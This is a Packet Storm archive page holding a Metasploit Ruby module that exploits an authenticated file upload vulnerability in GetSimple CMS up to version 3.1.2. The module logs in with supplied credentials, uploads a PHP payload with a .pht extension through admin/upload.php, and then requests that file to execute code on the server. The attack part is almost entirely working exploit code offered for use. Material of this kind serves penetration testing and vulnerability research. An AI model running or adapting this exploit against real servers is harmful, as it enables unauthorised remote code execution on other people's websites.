what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GetSimpleCMS PHP File Upload

GetSimpleCMS PHP File Upload
Posted Sep 19, 2014
Authored by Ahmed Elhady Mohamed | Site metasploit.com

This Metasploit module exploits a file upload vulnerability in GetSimple CMS. By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file, including PHP code, which results in arbitrary code execution.

tags | exploit, arbitrary, php, code execution, file upload
advisories | OSVDB-93034
SHA-256 | 93b94988b458fdd8ae88cd22f63db59e3b576b4062534971e43a8c37439ee4e2

GetSimpleCMS PHP File Upload

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability in GetSimple CMS. By abusing the
upload.php file, a malicious authenticated user can upload an arbitrary file,
including PHP code, which results in arbitrary code execution.
},
'Author' =>
[
'Ahmed Elhady Mohamed'
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '25405'],
['OSVDB', '93034']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Generic (PHP Payload)', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 04 2014'
))

register_options([
OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']),
OptString.new('USERNAME', [true, 'The username that will be used for authentication process']),
OptString.new('PASSWORD', [true, 'The right password for the provided username'])
], self.class)
end

def send_request_auth
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"),
'vars_post' => {
'userid' => "#{datastore['USERNAME']}",
'pwd' => "#{datastore['PASSWORD']}",
'submitted' => 'Login'
}
})

res
end

def send_request_upload(payload_name, cookie_http_header)
data = Rex::MIME::Message.new
data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"")
data.add_part("Upload", nil, nil, "form-data; name=\"submit\"")

data_post = data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"),
'vars_get' => { 'path' =>'' },
'cookie' => cookie_http_header,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
})

res
end

def check
res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')})

if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/
version = $1
else
return Exploit::CheckCode::Unknown
end

print_status("#{peer} - Version #{version} found")

if Gem::Version.new(version) <= Gem::Version.new('3.1.2')
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Authenticating...")
res = send_request_auth

if res && res.code == 302
print_status("#{peer} - The authentication process is done successfully!")
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

print_status("#{peer} - Extracting Cookies Information...")
cookie = res.get_cookies
if cookie.blank?
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

print_status("#{peer} - Uploading payload...")
payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht'
res = send_request_upload(payload_name, cookie)

if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</
upload_path = $1
print_good("#{peer} - File uploaded to #{upload_path}")
register_file_for_cleanup(payload_name)
else
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_raw({
'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name),
'method' => 'GET'
}, 5)
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close